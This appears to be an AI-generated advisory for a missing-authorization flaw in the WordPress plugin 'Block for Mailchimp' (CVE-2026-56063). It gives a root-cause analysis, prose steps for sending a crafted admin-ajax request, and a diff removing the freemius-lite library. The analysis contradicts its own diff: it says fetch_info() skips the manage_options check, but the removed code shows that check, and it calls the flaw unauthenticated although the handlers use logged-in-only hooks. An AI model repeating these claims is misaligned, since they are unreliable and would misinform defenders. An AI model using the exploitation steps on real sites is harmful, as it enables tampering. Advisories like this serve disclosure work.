Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 26, 2026

CVE-2026-56063: Block for Mailchimp – Add Email Subscription Forms and Collect Leads <= 1.1.15 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-56063
Plugin block-for-mailchimp
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.1.15
Patched Version 1.1.16
Disclosed June 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-56063:

This vulnerability affects the Block for Mailchimp plugin for WordPress, versions up to and including 1.1.15. The plugin lacks proper authorization checks across multiple AJAX handlers, allowing unauthenticated attackers to execute privileged actions. The CVSS score of 5.3 reflects the medium severity due to unauthorized data manipulation.

Root Cause: The vulnerability stems from the removal of the entire freemius-lite library directory, including the FSActivate.php and FS_Lite.php files. These files contained multiple AJAX action handlers registered without capability checks for ‘manage_options’ on actions like ‘bsdk_fetch_info_’, ‘fs_init’, and ‘fs_notice_dismiss_’. The removed code in FSActivate.php (lines 1-349) shows that functions such as fetch_info(), fs_init(), and fs_notice_dismiss() only verify a nonce but do not enforce the ‘manage_options’ capability check consistently. For example, fs_notice_dismiss() on line 349 checks ‘current_user_can(‘manage_options’) === false’ and returns an error, but the fetch_info() function on line 233 does not perform this check before processing the ‘permission_update’ thread. The patch removes these vulnerable files entirely, eliminating the attack surface.

Exploitation: An unauthenticated attacker can send a POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to ‘bsdk_fetch_info_’, where the underscore is followed by the plugin’s ID. The attacker includes a nonce parameter (obtainable from the plugin’s admin pages) and a ‘thread’ parameter set to ‘permission_update’. The attacker can also include ‘permissions’ and ‘is_enabled’ parameters to manipulate the plugin’s tracking permissions and stored data. The exploit does not require authentication because the nonce is not tied to a specific user session and can be extracted from the plugin’s publicly accessible JavaScript or HTML.

Patch Analysis: The patch deletes the entire ‘freemius-lite’ directory, which contained the vulnerable FSActivate.php, FS_Lite.php, and Freemius_Lite.php files. This removes all the AJAX handlers and their associated logic. The diff also updates asset dependencies (removing ‘wp-components’ from admin-dashboard.asset.php) and modifies render.php to use $attributes directly instead of extract(). The core fix is the complete removal of the vulnerable code paths, eliminating the possibility of unauthorized access to these endpoints.

Impact: An unauthenticated attacker can modify plugin tracking permissions, including enabling or disabling diagnostic, extension, user, site, and events tracking. The attacker can also influence the plugin’s stored accounts data, potentially leading to information disclosure (e.g., user email, site URL) or privilege escalation by manipulating the is_anonymous flag. The vulnerability does not allow direct remote code execution or database modification, but it compromises the plugin’s intended access control and data integrity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/block-for-mailchimp/build/admin-dashboard.asset.php
+++ b/block-for-mailchimp/build/admin-dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data'), 'version' => '994af30ef2930b77e284');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data'), 'version' => 'a9746d20e48d32cf9a2c');
--- a/block-for-mailchimp/build/index.asset.php
+++ b/block-for-mailchimp/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-i18n', 'wp-plugins'), 'version' => '997f1fe30107fe917500');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-plugins'), 'version' => '3a1e0bf79ccf89b800db');
--- a/block-for-mailchimp/build/render.php
+++ b/block-for-mailchimp/build/render.php
@@ -1,7 +1,6 @@
 <?php
     if ( ! defined( 'ABSPATH' ) ) exit;
-    extract($attributes);
-
+    // Note: $attributes is available directly from the block render callback scope.
     $id = wp_unique_id( 'mcbMailChimp-' );
     ?>

--- a/block-for-mailchimp/build/view.asset.php
+++ b/block-for-mailchimp/build/view.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom'), 'version' => 'aa02caad62a6e41985b3');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-i18n'), 'version' => '27ff756545f428846fb3');
--- a/block-for-mailchimp/freemius-lite/build/admin-notice.asset.php
+++ b/block-for-mailchimp/freemius-lite/build/admin-notice.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom'), 'version' => 'dcb627186ef395214a76');
--- a/block-for-mailchimp/freemius-lite/build/opt-in-form.asset.php
+++ b/block-for-mailchimp/freemius-lite/build/opt-in-form.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom'), 'version' => '3d78d65d59e93d5eabfd');
--- a/block-for-mailchimp/freemius-lite/config.php
+++ b/block-for-mailchimp/freemius-lite/config.php
@@ -1,17 +0,0 @@
-<?php
-
-if (! defined('ABSPATH')) {
-    exit;
-}
-
-if (! defined('FS_LITE_SLUG')) {
-    define('FS_LITE_SLUG', 'bblocksdk');
-}
-
-if (! defined('FS_LITE_VERSION')) {
-    define('FS_LITE_VERSION', time());
-}
-
-if (! defined('FS_LITE_DIR')) {
-    define('FS_LITE_DIR', plugin_dir_path(__FILE__));
-}
--- a/block-for-mailchimp/freemius-lite/inc/Base/FSActivate.php
+++ b/block-for-mailchimp/freemius-lite/inc/Base/FSActivate.php
@@ -1,349 +0,0 @@
-<?php
-
-class FSActivate extends FS_Lite
-{
-
-    protected $url = 'https://api.bplugins.com/wp-json/data/v1/accept-data';
-    protected $freemius_install_form_action = 'https://wp.freemius.com/action/service/user/install/';
-    protected $status = false;
-    protected $nonce = null;
-    protected $last_check = null;
-    protected $marketing_allowed = false;
-    protected static $_instance = null;
-    protected $email = null;
-
-    function __construct($config, $__FILE__)
-    {
-        parent::__construct($config, $__FILE__);
-        $this->config->version = $this->version;
-        $this->register();
-    }
-
-    private function register()
-    {
-        $this->status = get_option("$this->prefix-opt_in", false);
-        $this->last_check = get_option("$this->prefix-info-check", time() - 1);
-        $this->marketing_allowed = get_option("$this->prefix-marketing-allowed", false);
-
-        add_filter("plugin_action_links_$this->base_name", [$this, 'opt_in_button']);
-        add_action('admin_head', [$this, 'admin_head']);
-        add_action('admin_enqueue_scripts', [$this, 'enqueue_assets']);
-
-        if (!$this->status) {
-            add_action('admin_menu', [$this, 'add_opt_in_menu'], 10, 2);
-        }
-
-        register_activation_hook($this->__FILE__, [&$this, '_activate_plugin_hook']);
-
-        add_action('admin_footer', [$this, 'opt_in_modal']);
-        add_action('admin_footer', [$this, 'initialize_opt_in']);
-
-        add_action('wp_ajax_bsdk_fetch_info_' . $this->config->id, [$this, 'fetch_info']);
-        add_action('wp_ajax_fs_init', [$this, 'fs_init']);
-        add_action('wp_ajax_fs_notice_dismiss_' . $this->config->slug, [$this, 'fs_notice_dismiss']);
-        add_action('admin_notices', [$this, 'fs_admin_notice']);
-
-        register_deactivation_hook($this->__FILE__, [&$this, '_deactivate_plugin_hook']);
-    }
-
-
-    function fs_admin_notice()
-    {
-        $fs_accounts = $this->get_fs_accounts();
-        $notice = $fs_accounts['admin_notices'][$this->config->slug]['activation_pending'] ?? [];
-        echo "<div class='fs_notice_board' data-nonce='" . esc_attr(wp_create_nonce('fs_lite_nonce')) . "' data-slug='" . esc_attr($this->config->slug) . "' data data-notice='" . esc_attr(wp_json_encode($notice)) . "'></div>";
-    }
-
-    function fs_notice_dismiss()
-    {
-        if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['nonce'] ?? '')), "fs_lite_nonce") || current_user_can('manage_options') === false) {
-            wp_send_json_error();
-        }
-        $fs_accounts = $this->get_fs_accounts();
-        unset($fs_accounts['admin_notices'][$this->config->slug]['activation_pending']);
-        update_option('fs_lite_accounts', $fs_accounts);
-        wp_send_json_success('notice dismissed ' . $this->config->slug);
-    }
-
-    function fs_init()
-    {
-        if (!wp_verify_nonce(sanitize_text_field(wp_unslash(isset($_POST['nonce']) ? $_POST['nonce'] : '')), "fs_lite_nonce") || current_user_can('manage_options') === false) {
-            wp_send_json_error();
-        }
-        try {
-            $info = map_deep(wp_unslash(isset($_POST['info']) ? $_POST['info'] : []), 'sanitize_text_field');
-            $notice = map_deep(wp_unslash(isset($_POST['notice']) ? $_POST['notice'] : []), 'sanitize_text_field');
-            $fs_accounts = $this->get_fs_accounts();
-
-            if (isset($info['is_skip_activation']) && $info['is_skip_activation'] === 'true') {
-                $site = $this->get_data();
-                $secret_key = (bool) $site->secret_key;
-                $public_key = (bool) $site->public_key;
-                if ($secret_key && $public_key) {
-                    if (isset($fs_accounts['plugin_data'][$this->config->slug]['is_anonymous'])) {
-                        unset($fs_accounts['plugin_data'][$this->config->slug]['is_anonymous']);
-                    }
-                } else {
-                    $fs_accounts['plugin_data'][$this->config->slug]['is_anonymous'] = ['is' => true];
-                }
-            } else {
-                if (isset($info['user_id']) && $info['user_id']) {
-                    $user_api = new Freemius_Lite('user', $info['user_id'], $info['user_public_key'], $info['user_secret_key']);
-                    $site = (object) map_deep(wp_unslash(isset($_POST['site']) ? $_POST['site'] : []), 'sanitize_text_field');
-                    $user_data = (array)$user_api->FS_Api('');
-                    $fs_accounts = $this->get_fs_accounts($info['user_id'], $user_data, $site);
-                    if (isset($fs_accounts['admin_notices'][$this->config->slug]['activation_pending'])) {
-                        unset($fs_accounts['admin_notices'][$this->config->slug]['activation_pending']);
-                    }
-                } else if ($notice && isset($info['pending_activation'])) {
-                    $notice['activation_pending']['message'] = str_replace(['{name}', '{email}'], [$this->plugin_name, wp_get_current_user()->user_email], $notice['activation_pending']['message']);
-                    $fs_accounts['admin_notices'][$this->config->slug] = $notice;
-                }
-                if (isset($fs_accounts['plugin_data'][$this->config->slug]['is_anonymous'])) {
-                    unset($fs_accounts['plugin_data'][$this->config->slug]['is_anonymous']);
-                }
-            }
-            update_option('fs_lite_accounts', $fs_accounts);
-            wp_send_json_success(wp_parse_args(['config' => $this->config, 'admin_url' => admin_url()], $fs_accounts));
-        } catch (Throwable $th) {
-            wp_send_json_error($th->getMessage());
-        }
-    }
-
-    function get_request($key = null)
-    {
-        return isset($_GET[$key]) ? sanitize_text_field(wp_unslash($_GET[$key])) :  false;
-    }
-
-    function post_request($key = null)
-    {
-        return isset($_POST[$key]) ? sanitize_text_field(wp_unslash($_POST[$key])) :  false;
-    }
-
-    function _deactivate_plugin_hook()
-    {
-        $api = $this->event_hook();
-        if ($api) {
-            register_uninstall_hook($this->__FILE__, ['FSActivate', '_uninstall_plugin']);
-            $api->plugin_deactivated('?sdk_ver=' . $this->fs_version . '&url=' . site_url(), $this->get_anonymous_id());
-        }
-    }
-
-    function _activate_plugin_hook()
-    {
-        $api = $this->event_hook(true);
-        if ($api) {
-            $api->plugin_activated('', $this->get_anonymous_id(), $this->version);
-        }
-    }
-
-    function _uninstall_plugin()
-    {
-        $api = $this->event_hook();
-        if ($api) {
-            $api->plugin_uninstall('?sdk_ver=' . $this->fs_version . '&url=' . site_url(), $this->get_anonymous_id());
-        }
-    }
-
-    function event_hook($is_active = false)
-    {
-        $site = $this->get_data();
-        $plugin_data = $this->get_data('plugin_data');
-        if (!$site || !is_object($site) || get_class($site) === '__PHP_Incomplete_Class') {
-            return false;
-        }
-        $site->is_active = $is_active;
-        $this->update_store('sites', $site);
-
-        if (!isset($plugin_data->is_site_tracking_allowed) ||  !$plugin_data->is_site_tracking_allowed) {
-            return false;
-        }
-
-        $api = new Freemius_Lite('install', $site->id, $site->public_key, $site->secret_key);
-        return $api;
-    }
-
-    function fetch_info()
-    {
-        $nonce = isset($_POST['nonce']) ? sanitize_text_field(wp_unslash($_POST['nonce'])) : '';
-        if (!wp_verify_nonce($nonce, "fs_lite_nonce") || current_user_can('manage_options') === false) {
-            wp_send_json_error();
-        }
-
-        $plugin_data = [];
-        unset($this->config->__FILE__);
-        $result = [];
-        $thread = sanitize_text_field(isset($_POST['thread']) ? wp_unslash($_POST['thread']) : '');
-        if ($thread === "permission_update") {
-            $api = new Freemius_Lite();
-            $permissions = sanitize_text_field(isset($_POST['permissions']) ? wp_unslash($_POST['permissions']) : '');
-            $is_enabled =  sanitize_text_field(isset($_POST['is_enabled']) ? wp_unslash($_POST['is_enabled']) : '') === 'true';
-            $fs_accounts = $this->get_fs_accounts();
-            $result = $api->permission_update($fs_accounts, $this->config, compact('permissions', 'is_enabled'));
-            if (!$result['success']) {
-                wp_send_json_error($result['message']);
-            }
-        }
-
-        wp_send_json_success(wp_parse_args(wp_parse_args($this->extend_config(), []), (array) $this->config));
-    }
-
-    function extend_config()
-    {
-        if (!$this->version) {
-            return;
-        }
-        global $wp_version;
-        $user = wp_get_current_user();
-        $type = sanitize_text_field(isset($_POST['type']) ? wp_unslash($_POST['type']) : 'form');
-        $plugin_data = [];
-        $site = [];
-
-        if ($type === 'modal') {
-            $fs_accounts = get_option('fs_lite_accounts', []);
-            if (isset($fs_accounts['plugin_data'][$this->config->slug])) {
-                $plugin_data = $fs_accounts['plugin_data'][$this->config->slug];
-            }
-            if (isset($fs_accounts['sites'][$this->config->slug])) {
-                $site = [
-                    'scope' => 'install',
-                    'id' => $fs_accounts['sites'][$this->config->slug]->install_id,
-                    'public_key' => $fs_accounts['sites'][$this->config->slug]->public_key,
-                    'secret_key' => $fs_accounts['sites'][$this->config->slug]->secret_key
-                ];
-            }
-        }
-
-        return [
-            'freemius_form_action' => $this->freemius_install_form_action,
-            'uid' => $this->get_anonymous_id(),
-            'platform_version' => $wp_version,
-            'programming_language_version' => phpversion(),
-            'user_email' =>  $user->user_email,
-            'plugin_version' => $this->version,
-            'site_name' => get_bloginfo('name'),
-            'admin_url' => admin_url(),
-            'site_url' => site_url(),
-            'nonce' => wp_create_nonce($this->config->slug . '_activate_new'),
-            'is_marketing_allowed' => $this->marketing_allowed,
-            'user_first_name' => $user->user_firstname,
-            'user_last_name' => $user->user_lastname,
-            'plugin_name' => $this->plugin_name,
-            'data' => $plugin_data,
-            'site' => $site
-        ];
-    }
-
-    function initialize_opt_in()
-    {
-?>
-        <script>
-            document.addEventListener('DOMContentLoaded', function() {
-                if (typeof bsdkOptInFormHandler === 'function') {
-                    bsdkOptInFormHandler('<?php echo esc_html($this->prefix) ?>');
-                }
-            });
-        </script>
-        <?php
-    }
-
-
-    function admin_head()
-    {
-        $redirect = get_option("$this->prefix-redirect", false);
-        $request_uri = isset($_SERVER['REQUEST_URI']) ? sanitize_url(wp_unslash($_SERVER['REQUEST_URI'])) : '';
-        if (!$redirect && !strpos($request_uri, 'post.php') && !strpos($request_uri, 'post-new.php')) {
-            update_option("$this->prefix-redirect", true); ?><script>
-                window.location.href = '<?php echo esc_attr("admin.php?page=" . dirname($this->base_name)) ?>-opt-in';
-            </script><?php
-                    }
-                }
-
-                function opt_in_button($links)
-                {
-                    $classes = "optInBtn ";
-                    $this->marketing_allowed = $this->get_is_all_tracking_allowed();
-                    if ($this->marketing_allowed !== null) {
-                        $classes .= $this->config->slug;
-                    }
-
-                    $opt_in_link =  admin_url("admin.php?page=" . dirname($this->base_name) . '-opt-in');
-
-                    $settings_link = '<a href="' . $opt_in_link . '" class="' . $classes . '" id="' . esc_attr($this->prefix) . 'OptInBtn" data-status="' . esc_attr($this->marketing_allowed ? 'agree' : 'not-allowed') . '">' . esc_html($this->marketing_allowed ? 'Opt Out' : 'Opt In') . '</a>';
-
-                    array_unshift($links, $settings_link);
-                    return $links;
-                }
-
-                function add_opt_in_menu()
-                {
-                    add_submenu_page('Welcome', $this->plugin_name, $this->plugin_name, 'manage_options', dirname($this->base_name) . '-opt-in', [$this, 'opt_in_form']);
-                }
-
-                function opt_in_form()
-                {
-                    update_option("$this->prefix-redirect", true);
-                    $this->initialize_fs_accounts();
-                        ?>
-
-        <div
-            data-nonce="<?php echo esc_attr(wp_create_nonce('fs_lite_nonce')) ?>"
-            data-plugin-id="<?php echo esc_attr($this->config->id) ?>"
-            data-slug="<?php echo esc_attr($this->config->slug) ?>"
-            id="<?php echo esc_attr($this->prefix); ?>OptInForm">
-        </div>
-        <?php
-                }
-
-                function enqueue_assets($hook)
-                {
-                    wp_enqueue_script("bsdk-admin-notice", plugin_dir_url(plugin_dir_path(__DIR__)) . 'build/admin-notice.js', ['react', 'react-dom', 'wp-util'], $this->version, true);
-
-
-                    if ($hook === 'plugins.php' || $hook === "admin_page_" . dirname($this->base_name) . '-opt-in') {
-                        wp_enqueue_script("bsdk-opt-in", plugin_dir_url(plugin_dir_path(__DIR__)) . 'build/opt-in-form.js', ['react', 'react-dom', 'wp-util'], $this->version, true);
-                        wp_enqueue_style("bsdk-opt-in", plugin_dir_url(plugin_dir_path(__DIR__)) . 'build/opt-in-form.css', [], $this->version);
-                        wp_enqueue_style("bsdk-opt-in-style", plugin_dir_url(plugin_dir_path(__DIR__)) . 'build/style-opt-in-form.css', [], $this->version);
-                    }
-                }
-
-                function initialize_fs_accounts()
-                {
-                    $fs_accounts = $this->get_fs_accounts();
-                    update_option('fs_lite_accounts', $fs_accounts);
-                }
-
-                function opt_in_modal()
-                {
-                    $screen = get_current_screen();
-                    if ($screen->base === 'plugins') {
-        ?>
-            <div
-                id="<?php echo esc_attr($this->prefix) ?>OptInModal"
-                data-slug="<?php echo esc_attr($this->config->slug) ?>"
-                data-nonce="<?php echo esc_attr(wp_create_nonce('fs_lite_nonce')) ?>"
-                data-plugin-id="<?php echo esc_attr($this->config->id) ?>">
-            </div>
-<?php
-                    }
-                }
-
-                function get_is_all_tracking_allowed()
-                {
-                    $fs_accounts = $this->get_fs_accounts();
-                    $plugin_data = (object) $fs_accounts['plugin_data'][$this->config->slug] ?? null;
-
-                    if (
-                        !$plugin_data ||
-                        ($plugin_data->is_anonymous['is'] ?? false) ||
-                        isset($fs_accounts['admin_notices'][$this->config->slug]['activation_pending'])
-                    ) {
-                        return null;
-                    }
-
-                    return $plugin_data->is_user_tracking_allowed &&
-                        $plugin_data->is_site_tracking_allowed &&
-                        $plugin_data->is_events_tracking_allowed &&
-                        $plugin_data->is_extensions_tracking_allowed;
-                }
-            }
--- a/block-for-mailchimp/freemius-lite/inc/Base/FS_Lite.php
+++ b/block-for-mailchimp/freemius-lite/inc/Base/FS_Lite.php
@@ -1,175 +0,0 @@
-<?php
-class FS_Lite
-{
-    protected const FS_VERSION = '2.5.12';
-    protected const ACCOUNTS_KEY = 'fs_lite_accounts';
-    protected const UNIQUE_ID_KEY = 'unique_id';
-
-    protected $prefix = '';
-    protected $config = null;
-    protected $base_name = null;
-    protected $plugin_name = '';
-    protected $product = '';
-    protected $__FILE__ = null;
-    protected $_upgraded = false;
-    protected $version = false;
-    protected $dir;
-    protected $path = null;
-
-    public function __construct($config, $__FILE__)
-    {
-        $this->config = $config;
-        $this->prefix = $this->config->slug;
-        $this->__FILE__ = $__FILE__;
-        $this->base_name = plugin_basename($this->__FILE__);
-        $this->dir = __DIR__;
-        $this->path = $this->config->slug . '/' . basename($this->__FILE__);
-
-        $this->loadDependencies();
-        add_action('init', [$this, 'init']);
-    }
-
-    protected function loadDependencies(): void
-    {
-        if (!class_exists('Freemius_Lite') && file_exists($this->dir . '/Freemius_Lite.php')) {
-            require_once($this->dir . '/Freemius_Lite.php');
-        }
-
-        if (!function_exists('get_plugin_data')) {
-            require_once(ABSPATH . 'wp-admin/includes/plugin.php');
-        }
-    }
-
-    public function init(): void
-    {
-        $plugin_data = get_plugin_data($this->__FILE__);
-        $this->plugin_name = $plugin_data['Name'];
-        $this->version = $this->isLocalhost() ? time() : $plugin_data['Version'];
-    }
-
-    protected function isLocalhost(): bool
-    {
-        return isset($_SERVER['HTTP_HOST']) &&
-            sanitize_text_field(wp_unslash($_SERVER['HTTP_HOST'])) === 'localhost';
-    }
-
-    public function get_anonymous_id(?int $blog_id = null): string
-    {
-        $unique_id = get_option(self::UNIQUE_ID_KEY, null, $blog_id);
-
-        if (empty($unique_id) || !is_string($unique_id)) {
-            $unique_id = $this->generateUniqueId();
-            update_option(self::UNIQUE_ID_KEY, $unique_id);
-        }
-
-        return $unique_id;
-    }
-
-    protected function generateUniqueId(): string
-    {
-        $key = $this->fs_strip_url_protocol(site_url());
-        $secure_auth = $this->getSecureAuth();
-        return md5($key . $secure_auth);
-    }
-
-    protected function getSecureAuth(): string
-    {
-        $secure_auth = defined('SECURE_AUTH_KEY') ? SECURE_AUTH_KEY : '';
-
-        if (
-            empty($secure_auth) ||
-            false !== strpos($secure_auth, ' ') ||
-            'put your unique phrase here' === $secure_auth
-        ) {
-            return md5(microtime());
-        }
-
-        return $secure_auth;
-    }
-
-    public function get_data(string $type = 'sites')
-    {
-        $fs_accounts = $this->get_fs_accounts();
-        return $fs_accounts[$type][$this->config->slug] ?? false;
-    }
-
-    public function update_store(string $key, $value): void
-    {
-        $fs_accounts = $this->get_fs_accounts();
-        $fs_accounts[$key][$this->config->slug] = $value;
-        update_option(self::ACCOUNTS_KEY, $fs_accounts);
-    }
-
-    protected function fs_starts_with(string $haystack, string $needle): bool
-    {
-        return strncmp($haystack, $needle, strlen($needle)) === 0;
-    }
-
-    public function fs_strip_url_protocol(string $url): string
-    {
-        if (!$this->fs_starts_with($url, 'http')) {
-            return $url;
-        }
-
-        $protocol_pos = strpos($url, '://');
-        return $protocol_pos > 5 ? $url : substr($url, $protocol_pos + 3);
-    }
-
-    public function get_fs_accounts(?int $user_id = null, array $user_data = [], $site = null): array
-    {
-        $fs_accounts = $this->getInitializedAccounts();
-
-        if (!$this->path) {
-            return $fs_accounts;
-        }
-
-        if (!isset($fs_accounts['plugin_data'][$this->config->slug]) || $user_id) {
-            $fs_accounts['plugin_data'][$this->config->slug] = $this->get_plugin_data($user_id);
-        }
-
-        if ($user_id) {
-            $fs_accounts['users'][$user_id] = $user_data;
-        }
-        if ($site) {
-            $fs_accounts['sites'][$this->config->slug] = $site;
-        }
-
-        return $fs_accounts;
-    }
-
-    protected function getInitializedAccounts(): array
-    {
-        $fs_accounts = get_option(self::ACCOUNTS_KEY, []);
-        if (!is_array($fs_accounts)) {
-            $fs_accounts = [];
-        }
-
-        $required_keys = ['plugin_data', 'users', 'sites'];
-        foreach ($required_keys as $key) {
-            if (!array_key_exists($key, $fs_accounts)) {
-                $fs_accounts[$key] = [];
-            }
-        }
-
-        return $fs_accounts;
-    }
-
-    public function get_plugin_data(?int $user_id = null): array
-    {
-        $data = [
-            'plugin_main_file' => (object)['path' => $this->path],
-        ];
-
-        // if ($user_id) {
-        return wp_parse_args([
-            'is_diagnostic_tracking_allowed' => $user_id !== null,
-            'is_extensions_tracking_allowed' => $user_id !== null,
-            'is_user_tracking_allowed' => $user_id !== null,
-            'is_site_tracking_allowed' => $user_id !== null,
-            'is_events_tracking_allowed' => $user_id !== null,
-        ], $data);
-        // }
-
-        return $data;
-    }
-}
--- a/block-for-mailchimp/freemius-lite/inc/Base/Freemius_Lite.php
+++ b/block-for-mailchimp/freemius-lite/inc/Base/Freemius_Lite.php
@@ -1,189 +0,0 @@
-<?php
-
-if (!class_exists('Freemius_Lite')) {
-    class Freemius_Lite
-    {
-        private const SDK_VERSION = '2.5.12';
-        private const API_ENDPOINT = 'https://api.bplugins.com/wp-json/freemius/v1/middleware/';
-
-        private $api = null;
-        private $_scope = null;
-        private $headers = [];
-        private $base_endpoint;
-
-        public function __construct($scope = null, $id = null, $public_key = null, $secret_key = null)
-        {
-            $this->base_endpoint = self::API_ENDPOINT;
-            $this->api_endpoint = $this->base_endpoint . time();
-            if ($scope && $id && $public_key) {
-                $this->headers = $this->generate_authorization_header('', $scope, $id, $public_key, $secret_key);
-            }
-        }
-
-        public function get_site()
-        {
-            $result = $this->FS_Api(sprintf(
-                '?sdk_version=%s&fields=site_id,plugin_id,user_id,title,url,version,language,platform_version,sdk_version,programming_language_version,plan_id,license_id,trial_plan_id,trial_ends,is_premium,is_disconnected,is_active,is_uninstalled,is_beta,public_key,secret_key,id,updated,created,_is_updated',
-                self::SDK_VERSION
-            ));
-
-            return $result->success ? $result->data : false;
-        }
-
-        public function plugin_deactivated($path, $uid)
-        {
-            return $this->update_plugin_status($path, $uid, false);
-        }
-
-        public function plugin_uninstall($path, $uid)
-        {
-            return $this->update_plugin_status($path, $uid, false, true);
-        }
-
-        private function update_plugin_status($path, $uid, $is_active = false, $is_uninstalled = false)
-        {
-            $data = ['is_active' => $is_active, 'uid' => $uid];
-
-            if ($is_uninstalled) {
-                $data['is_uninstalled'] = true;
-            }
-
-            return $this->FS_Api($path, 'PUT', wp_json_encode($data));
-        }
-
-        public function plugin_activated($path, $uid, $version)
-        {
-            global $wp_version;
-            $data = [
-                'sdk_version' => self::SDK_VERSION,
-                'platform_version' => $wp_version,
-                'programming_language_version' => phpversion(),
-                'url' => site_url(),
-                'language' => 'en-US',
-                'title' => get_bloginfo('name'),
-                'version' => $version,
-                'is_premium' => false,
-                'is_active' => true,
-                'is_uninstalled' => false,
-                'uid' => $uid,
-            ];
-
-            return $this->FS_Api($path, 'PUT', wp_json_encode($data));
-        }
-
-        public function Api($method = 'GET', $params = [], $headers = [])
-        {
-            try {
-                $response = wp_remote_request($this->api_endpoint, [
-                    'method' => $method,
-                    'headers' => $headers,
-                    'body' => $params,
-                    'timeout' => 30,
-                    'sslverify' => true
-                ]);
-
-                if (is_wp_error($response)) {
-                    throw new Exception($response->get_error_message());
-                }
-
-                return json_decode(wp_remote_retrieve_body($response));
-            } catch (Exception $e) {
-                return (object)['success' => false, 'error' => $e->getMessage()];
-            }
-        }
-
-        public function FS_Api($path = '', $method = 'GET', $params = [])
-        {
-            $this->headers['path'] = $path;
-            return $this->Api($method, $params, $this->headers);
-        }
-
-        public function permission_update($fs_accounts, $config, $params = null)
-        {
-            if (!$this->validate_site_data($fs_accounts, $config, $params)) {
-                return $this->handle_anonymous_site($fs_accounts, $config);
-            }
-
-            $site = (object)$fs_accounts['sites'][$config->slug];
-            $headers = $this->generate_authorization_header(
-                sprintf('/permissions.json?sdk_version=%s&url=%s', self::SDK_VERSION, site_url()),
-                'install',
-                $site->install_id,
-                $site->public_key,
-                $site->secret_key
-            );
-
-            $result = $this->_permission_update($params, $headers);
-            return $this->process_permission_result($result, $fs_accounts, $config);
-        }
-
-        private function validate_site_data($fs_accounts, $config, $params)
-        {
-            $site = isset($fs_accounts['sites'][$config->slug]) ? (object)$fs_accounts['sites'][$config->slug] : null;
-            return $site && is_object($site) && isset($site->public_key) && $params &&
-                $site->public_key && $site->secret_key && $site->install_id;
-        }
-
-        private function handle_anonymous_site($fs_accounts, $config)
-        {
-            $fs_accounts['plugin_data'][$config->slug]['is_anonymous'] = [
-                'is' => true,
-                'timestamp' => time()
-            ];
-            update_option('fs_lite_accounts', $fs_accounts);
-            return false;
-        }
-
-        private function process_permission_result($result, $fs_accounts, $config)
-        {
-            if ($this->has_error($result)) {
-                return [
-                    'success' => false,
-                    'message' => $result->data->message ?? 'Unknown error occurred'
-                ];
-            }
-
-            if (isset($result->data->permissions)) {
-                return $this->update_permissions($result->data->permissions, $fs_accounts, $config);
-            }
-
-            return false;
-        }
-
-        private function has_error($result)
-        {
-            return isset($result->data->error) ||
-                (isset($result->data->code) && in_array($result->data->code, ['rest_invalid_json', 'unauthorized_access']));
-        }
-
-        private function update_permissions($permissions, $fs_accounts, $config)
-        {
-            $fs_accounts['plugin_data'][$config->slug] = [
-                'is_user_tracking_allowed' => $permissions->user,
-                'is_site_tracking_allowed' => $permissions->site,
-                'is_events_tracking_allowed' => $permissions->site,
-                'is_extensions_tracking_allowed' => $permissions->extensions
-            ];
-
-            update_option('fs_lite_accounts', $fs_accounts);
-            return ['success' => true, 'data' => $fs_accounts];
-        }
-
-        private function _permission_update($params, $headers)
-        {
-            return $this->Api('PUT', wp_json_encode($params), $headers);
-        }
-
-        private function generate_authorization_header($path, $scope, $id, $public_key, $secret_key)
-        {
-            return [
-                'path' => $path,
-                'scope' => $scope,
-                'id' => $id,
-                'public' => $public_key,
-                'secret' => $secret_key,
-                'Content-Type' => 'application/json'
-            ];
-        }
-    }
-}
--- a/block-for-mailchimp/freemius-lite/index.php
+++ b/block-for-mailchimp/freemius-lite/index.php
@@ -1,2 +0,0 @@
-<?php
-// silence is golden
--- a/block-for-mailchimp/freemius-lite/require.php
+++ b/block-for-mailchimp/freemius-lite/require.php
@@ -1,9 +0,0 @@
-<?php
-if (! defined('ABSPATH')) {
-	exit;
-}
-
-// Configuration should be loaded first.
-require_once dirname(__FILE__) . '/config.php';
-require_once FS_LITE_DIR . '/inc/Base/FS_Lite.php';
-require_once FS_LITE_DIR . 'inc/Base/FSActivate.php';
--- a/block-for-mailchimp/freemius-lite/start.php
+++ b/block-for-mailchimp/freemius-lite/start.php
@@ -1,75 +0,0 @@
-<?php
-
-$this_sdk_version = '2.1.3';
-if ( !class_exists( 'BPluginsFSLite' ) ) {
-    require_once dirname( __FILE__ ) . '/require.php';
-    class BPluginsFSLite {
-        protected $file = null;
-
-        public $prefix = '';
-
-        protected $config = null;
-
-        protected $__FILE__ = __FILE__;
-
-        private $lc = null;
-
-        function __construct( $config = [] ) {
-            $this->__FILE__ = $config['__FILE__'];
-            $this->config = (object) $config;
-            $this->prefix = $this->config->prefix ?? $this->config->slug;
-            if ( is_admin() ) {
-                new FSActivate($this->config, $this->__FILE__);
-            }
-        }
-
-        public function can_use_premium_feature() {
-            return $this->is_premium();
-        }
-
-        public function is_premium() {
-            return $this->lc->isPipe ?? false;
-        }
-
-        public function uninstall_plugin() {
-            deactivate_plugins( plugin_basename( $this->__FILE__ ) );
-        }
-
-        function can_use_premium_code() {
-            return $this->is_premium();
-        }
-
-        function set_basename( $is_premium, $__FILE__ ) {
-            $basename = basename( $__FILE__ );
